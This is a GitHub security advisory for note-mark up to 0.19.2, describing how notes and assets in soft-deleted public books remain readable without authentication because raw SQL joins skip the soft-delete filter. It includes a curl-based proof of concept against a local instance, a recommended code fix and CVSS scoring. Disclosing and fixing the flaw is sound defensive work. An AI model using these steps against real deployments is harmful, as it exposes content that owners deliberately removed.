Unauthenticated read of notes and assets in soft-deleted public books

Moderate **enchant97** published **GHSA-3gr9-485j-v4xf** 2 weeks ago

Software

enchant97/note-mark

Affected versions	Patched versions
<= 0.19.2	0.19.3

Description

Summary

After a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at `/api/notes/{id}`, `/api/notes/{id}/content`, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw `JOIN books ...` clauses used by the note and asset queries.

Details

`DELETE /api/books/{bookID}` sets `books.deleted_at` to the current time. The book-level endpoint starts returning 404, which matches the owner's expectation that the book is gone. The note service and asset service query notes with a raw join that does not filter `books.deleted_at IS NULL`:

```
// backend/services/notes.go:91-98 (GetNoteByID)
func (s NotesService) GetNoteByID(currentUserID *uuid.UUID, noteID uuid.UUID) (db.
    var note db.Note
    return note, dbErrorToServiceError(db.DB.
        Preload("Book").
        Joins("JOIN books ON books.id = notes.book_id").
        Where("owner_id = ? OR is_public = ?", currentUserID, true).
        First(&note, "notes.id = ?", noteID).Error)
}
```

GORM applies its soft-delete scope to the primary model of a query (here, `notes`) and to implicit `Joins("Book")` association clauses. It does not rewrite raw SQL passed to `Joins`. The soft-deleted book row keeps `is_public = true`, so the `WHERE owner_id = ? OR is_public = ?` clause still evaluates true for any caller on a book that was public at deletion time. For an unauthenticated caller (`currentUserID = nil`), `owner_id = NULL` fails but `is_public = true` passes, so the note query returns the row.

note-mark has a restore flow at `PUT /api/notes/{noteID}/restore` (`backend/services/notes.go:232-262`) that un-deletes the note and the parent book in one transaction. Owner access to soft-deleted notes is deliberate for that path; the comment at line 253 spells out the intent. The bug is that `is_public = true` survives the deletion, so unauthenticated callers keep access the owner chose to revoke.

The same raw-join pattern repeats at 9 more call sites in `backend/services/notes.go` (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and 4 call sites in `backend/services/assets.go` (lines 29, 73, 106, 143). Every public endpoint that reads a note or an asset inherits the bug.

Proof of Concept

Tested against `note-mark` v0.19.2.

Step 1: Start note-mark.

```
docker run -d --name note-mark-poc -p 8088:8080 \
  ghcr.io/enchant97/note-mark-backend:0.19.2
```

Step 2: Alice signs up and logs in.

```
curl -X POST http://localhost:8088/api/users \
  -H 'Content-Type: application/json' \
  -d '{"username":"alice","password":"Alicepass123!","name":"Alice"}'

curl -c alice.cookies -X POST http://localhost:8088/api/auth/token \
  -H 'Content-Type: application/json' \
  -d '{"grant_type":"password","username":"alice","password":"Alicepass123!"}'
```

Step 3: Alice creates a public book and adds a note with content. Save the IDs from each response.

```
curl -b alice.cookies -X POST http://localhost:8088/api/books \
  -H 'Content-Type: application/json' \
  -d '{"name":"Alice Public Book","slug":"public-book","isPublic":true}'
# {"id":"<BOOK_ID>", ...}

curl -b alice.cookies -X POST http://localhost:8088/api/books/<BOOK_ID>/notes \
  -H 'Content-Type: application/json' \
  -d '{"name":"Secret Note","slug":"secret-note"}'
# {"id":"<NOTE_ID>", ...}
```

```
curl -b alice.cookies -X PUT http://localhost:8088/api/notes/<NOTE_ID>/content \
  -H 'Content-Type: text/plain' \
  --data 'This is Alice secret note content.'
```

Step 4: Bob (no cookie) reads the note while the book is still live. This is expected for a public book.

```
curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.
```

Step 5: Alice soft-deletes the book.

```
curl -b alice.cookies -X DELETE http://localhost:8088/api/books/<BOOK_ID>
# HTTP/1.1 204 No Content
```

Step 6: The book endpoint 404s. The note endpoints still serve Alice's content to Bob.

```
curl -w "\n%{http_code}\n" http://localhost:8088/api/books/<BOOK_ID>
# 404

curl -w "\n%{http_code}\n" http://localhost:8088/api/notes/<NOTE_ID>
# {"id":"<NOTE_ID>","name":"Secret Note", ...}
# 200

curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.

curl http://localhost:8088/api/slug/alice/books/public-book/notes/secret-note
# {"id":"<NOTE_ID>","name":"Secret Note", ...}
```

A companion script that drives Steps 1-6 ships at `pocs/poc_005_bac_soft_deleted_book.sh`.

Impact

Any owner who soft-deletes a public book expecting the content to drop off the internet is wrong. Notes, markdown content, and uploaded assets stay readable for every unauthenticated caller who knows the note ID or the slug path. Slugs are human-readable and change hands in documentation, notes, and bug trackers. The leak covers every public note and asset endpoint, not a single handler. Private books are not affected because `is_public = false` and `owner_id = NULL` both fail the visibility check for non-owners.

Recommended Fix

Add a soft-delete filter to the visibility clause on every raw `Joins("JOIN books ...")`. Keep the owner's access intact so the restore flow at `PUT /api/notes/{id}/restore` continues to work:

```
// backend/services/notes.go:91-98 (GetNoteByID)
return note, dbErrorToServiceError(db.DB.
    Preload("Book").
    Joins("JOIN books ON books.id = notes.book_id").
    Where("(books.deleted_at IS NULL OR books.owner_id = ?)", currentUserID).
    Where("owner_id = ? OR is_public = ?", currentUserID, true).
    First(&note, "notes.id = ?", noteID).Error)
```

The same transform applies to each of the 13 call sites in `backend/services/notes.go` (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and `backend/services/assets.go` (lines 29, 73, 106, 143). `backend/cli/clean.go:31` uses the same join pattern but is a maintenance CLI and does not need the fix.

Found by aisafe.io

Severity

Moderate 5.3 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

CVE-2026-41572

Weaknesses

▶ CWE-285

Credits

adrgs Reporter

aisafe-bot Finder